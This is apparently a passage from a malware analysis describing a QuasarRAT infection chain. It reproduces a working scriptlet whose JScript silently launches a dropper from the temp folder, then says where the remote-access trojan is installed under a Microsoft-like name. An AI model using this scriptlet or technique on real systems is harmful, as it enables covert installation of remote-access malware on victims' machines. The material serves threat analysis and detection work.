<?XML version=”1.0″?> <scriptlet> <registration description=”fjzmpcjvqp” progid=”fjzmpcjvqp” version=”1.00″ classid=”{204774CF-D251-4F02-855B-2BE70585184B}” remotable=”true” > </registration> <script language=”JScript”> <![CDATA[ var r = new ActiveXObject(“WScript.Shell”).Run(“cmd /c %tmp%\\qrat.exe”,0,false); exit(); ]]> </script> </scriptlet> After the initial dropper (qrat.exe) has been executed by the embedded scriptlet, it creates a directory in C:\Users\%username%\AppData\Roaming\Microsoft Network\microsoft_network\1.0.0.0 and unpacks/drops the final QuasarRAT binary named microsoft_network.exe